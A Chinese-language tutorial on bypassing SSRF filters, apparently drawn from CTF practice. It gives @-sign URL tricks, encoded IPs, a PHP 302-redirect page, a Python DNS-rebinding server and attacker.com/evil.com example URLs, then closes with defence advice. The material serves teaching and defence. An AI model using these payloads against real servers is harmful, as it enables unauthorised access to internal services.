SSRF Bypass技巧介绍
字数 1356 2025-08-15 21:33:50
SSRF Bypass技巧详解
0x00 前言
SSRF(Server-Side Request Forgery)是一种服务器端请求伪造漏洞,攻击者可以利用服务器发起非预期的网络请求。在实际环境中,开发者通常会实施各种过滤机制来防止SSRF攻击。本文将详细介绍几种常见的SSRF绕过技巧。
0x01 URL Bypass
基本原理
当服务器要求URL必须以特定域名开头时,可以利用@符号进行绕过。
绕过方法
- 构造格式:
http://required-domain@target-ip/path - 示例:
http://notfound.ctfhub.com@127.0.0.1/flag.php
原理分析
URL规范中,@符号前的部分会被视为认证信息,实际请求会发送到@后的主机。例如:
www.test.atl.ocean@www.baidu.com
实际访问的是www.baidu.com
0x02 数字IP Bypass
常见限制
服务器可能禁止直接使用127、172等内网IP段。
绕过方法
使用不同进制格式表示IP地址:
-
8进制格式:
0177.0.0.1 # 等同于127.0.0.1 -
16进制格式:
0x7F.0.0.1 # 等同于127.0.0.1 -
10进制整数格式:
2130706433 # 等同于127.0.0.1 -
16进制整数格式:
0x7F000001 # 等同于127.0.0.1
转换方法
- 将IP地址的每个部分转换为8进制或16进制
- 或将整个IP地址转换为32位整数
0x03 302跳转Bypass
基本原理
利用服务器允许302跳转的特性,先指向一个合法的外网URL,然后跳转到目标内网地址。
实现步骤
- 创建一个可控制的302跳转页面(302.php):
<?php
$schema = $_GET['s'];
$ip = $_GET['i'];
$port = $_GET['p'];
$query = $_GET['q'];
if(empty($port)){
header("Location: $schema://$ip/$query");
}else{
header("Location: $schema://$ip:$port/$query");
}
?>
- 通过SSRF漏洞访问跳转页面:
http://vulnerable-site.com/ssrf.php?url=http://attacker.com/302.php?s=http&i=127.0.0.1&q=flag.php
注意事项
- 服务器必须配置
curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE) - 某些环境可能限制跳转后的协议
0x04 DNS重绑定Bypass
基本原理
利用DNS解析的时间差,第一次解析返回合法外网IP通过验证,实际请求时返回内网IP。
技术细节
-
SSRF修复逻辑流程:
- 取URL的Host
- 取Host的IP
- 判断是否为内网IP
- 请求URL
- 处理跳转(如果有)
- 执行业务逻辑
-
关键点:
- 至少会发起3次DNS请求
- 需要设置TTL为0(禁用缓存)
- Linux默认不进行DNS缓存
实现步骤
- 搭建自定义DNS服务器(使用Python twisted库):
from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
def _doDynamicResponse(self, query):
name = query.name.name
if name not in record or record[name]<1:
ip = "35.185.163.135" # 第一次返回外网IP
else:
ip = "127.0.0.1" # 后续返回内网IP
if name not in record:
record[name] = 0
record[name] += 1
answer = dns.RRHeader(
name = name,
type = dns.A,
cls = dns.IN,
ttl = 0, # 关键:TTL设为0
payload = dns.Record_A(address = b'%s' % ip, ttl=0)
)
return [answer], [], []
def query(self, query, timeout=None):
return defer.succeed(self._doDynamicResponse(query))
def main():
factory = server.DNSServerFactory(
clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
)
protocol = dns.DNSDatagramProtocol(controller=factory)
reactor.listenUDP(53, protocol)
reactor.run()
if __name__ == '__main__':
raise SystemExit(main())
-
配置DNS记录:
- NS记录指向自定义DNS服务器
- A记录指向攻击者服务器IP
-
发起SSRF请求:
http://vulnerable-site.com/ssrf?url=http://dns_rebind.attacker.com/
验证方法
使用dig命令测试DNS解析:
dig @8.8.8.8 dns_rebind.attacker.com # 第一次查询
dig @8.8.8.8 dns_rebind.attacker.com # 第二次查询
0x05 其他绕过技巧
-
域名解析技巧:
- 使用xip.io等服务:
127.0.0.1.xip.io解析为127.0.0.1 - 使用短域名或域名重定向
- 使用xip.io等服务:
-
协议混淆:
- 尝试使用其他协议如ftp://, gopher://等
- 协议拼接:
http://127.0.0.1:80@evil.com
-
特殊字符绕过:
- 使用URL编码
- 使用换行符等空白字符
0x06 防御建议
- 实施严格的白名单校验
- 禁用所有不必要的URL协议(只允许http/https)
- 验证解析后的IP地址是否为内网地址
- 禁用CURLOPT_FOLLOWLOCATION或严格限制跳转
- 使用DNS缓存或固定DNS解析结果
- 设置适当的连接超时时间
总结
SSRF绕过技术多种多样,防御措施需要从多个层面进行考虑。理解这些绕过技术的原理有助于开发更安全的应用程序。实际环境中,应该结合业务需求选择适当的防御策略,并进行充分的测试。